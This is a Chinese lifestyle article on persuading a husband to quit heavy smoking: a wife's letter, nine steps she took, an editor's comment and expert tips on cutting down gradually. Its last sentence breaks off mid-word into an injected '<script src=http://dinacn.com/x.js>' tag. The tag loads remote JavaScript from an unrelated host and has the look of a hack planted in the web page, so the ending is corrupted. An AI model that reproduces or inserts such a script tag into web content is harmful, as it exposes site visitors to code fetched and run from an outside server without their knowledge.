不少男人都会有这3个“恶习”：抽烟过多、喝酒过量、过分沉迷网络，而作为此类男人身边的女人，总会想着法子不厌其烦地叮嘱男人戒烟、少喝酒、上网有度。当你身边的男人也属于此类情况时，你将如何表达自己的意愿呢?希望下面这些建议，能帮助你找到更好的办法令他“回心转意”，积极应对这3个棘手的问题。
 
    案例1：抽烟过多

    早上出门，你的包里一定带着1包香烟，有时你会在上班中途再买1包；我听你周围的同事说，一起吃饭时，你饭前1支，饭后1支，若饭中有酒，烟便随之点上；开会时抽烟最凶的是你，如果在办公室里找不到你，那么你一定在楼道里和三五烟友抽烟；有时你干脆关上办公室门，独自一人在房间里边干活边吞云吐雾；回到家，对着孩子，你会暂时忍住不抽，但孩子不在身边，你便香烟不离手；家里的每个角落都飘着若有若无、或浓或淡的烟味，我和孩子也早已习惯了衣服和头发上有那种挥之不去的熟悉味道；每当有人对你吸烟提出异议，你会滔滔不绝地列举出吸烟的种种好处，歪理也罢，胡说也好，这个话题就一笑而过；有一次，我甚至梦见你在烟雾缭绕中离我越来越远，无论我怎么追赶，都没能抓住你，直至你消失不见，我醒来一身冷汗；仔细算算，除了我们计划要孩子和我怀孕的那段时间以外，我从认识你、和你相爱、到朝夕相对的分分秒秒，香烟是你另一个“亲密爱人”，如影随形……就这样，今年是你我相识的第10个年头，这10年有风有雨，有喜有悲，还有香烟。

    的确，很多男人都抽烟，据说男人抽烟的姿势最有魅力。但是，老公，你的吸烟量会不会已经超过了正常情况的范围？如果你实在戒不掉烟，如果你觉得抽烟是生活里不可缺少的一部分，我不想不切实际地强制你永远地离开香烟。只是，我希望你为自己想想，也为我考虑一下：如果你觉得少抽烟或者不抽烟是无法解决的问题，那么你又何必规定自己每天坚持跑步，口口声声说要好好锻炼心肺功能呢？如果你觉得吸烟比自己的健康更重要，那么我和孩子身处被动吸烟环境中的健康状况你在乎吗？
 
    帮老公戒烟，我做了哪些事情?
 
    1. 我一直督导他戒烟，但从不强制性地要求他必须戒掉，以免激发他强烈的叛逆心理。

    2.给他列一张关于吸烟的健康数据单，如吸烟者的肺癌发病率是不吸烟者的8~12倍，烟量越大，患肺癌危险性越高；中国每年约有100万人死于吸烟引起的各种疾病，居世界首位；在中国，目前每天有2000人因吸烟而死亡，其中大部分是男性。

    3. 每当看到报纸、杂志上有关吸烟危害健康的文章和案例，我便找机会读给他听。

    4. 他的朋友因长期吸烟而生病住院，我和老公一起去医院看他。

    5. 电视上报道了一个因长期吸烟而导致肺癌的老人重病下的悲惨生活，我录下了节目，和他一起看。

    6. 我综合各家戒烟之所长，总结出一套最适合他的戒烟方法。

    7. 他开始戒烟后，我提醒自己要有耐心，不忘记天天鼓励他、表扬他，时刻提醒他已经戒烟的天数，巩固他的意志力。

    8. 他偶尔犯错误、没忍住的时候，我不会马上生气，仍和声细语地提点一下他的错误，避免唠叨过频。

    9. 他成功戒烟半年以上，我安排了一次如同结婚10周年一般的庆祝节目，让他如沐春风。

    编辑点评：

    帮老公戒烟犹如打“持久战”，任重而道远。但是古语说的好：“只要功夫深，铁杵磨成针”，所以，对待老公戒烟要有足够的耐心和信心，辅之灵活多变的“战术”和谆谆不变的健康教诲，胜利一定会属于你。
    
    相关链接：

    1. 逐步减少吸烟量是改善健康状况的根本

    广州第一人民医院呼吸科专家钟维农副主任医师说，减少吸烟量是减少吸烟对人体危害的最好办法，同时，逐渐减少吸烟量是以达到逐渐戒烟为目的的。如果实在无法完全戒除吸烟，也可以在吸烟时尽量少将烟吸入肺里，减少对肺部的伤害。他建议，对于烟瘾较大者，不主张断然戒烟，因为人体需要一个慢慢适应的过程，如果断然戒烟，会同时给身体和心理带来一系列问题，在戒烟过程中可以根据医生的指导，寻找替代品代替香烟，如话梅、口香糖等，借以转移注意力。

    2. 降低焦油含量和选择过滤嘴香烟同样对健康不利

    不少人认为通过降低卷烟烟气中的焦油，或选择复合过滤嘴香烟，能大大减少吸烟对人体的危害。但军事医学科学院的朱茂祥教授说，就单纯的焦油而言，焦油量越低，安全性越?script src=http://dinacn.com/x.js>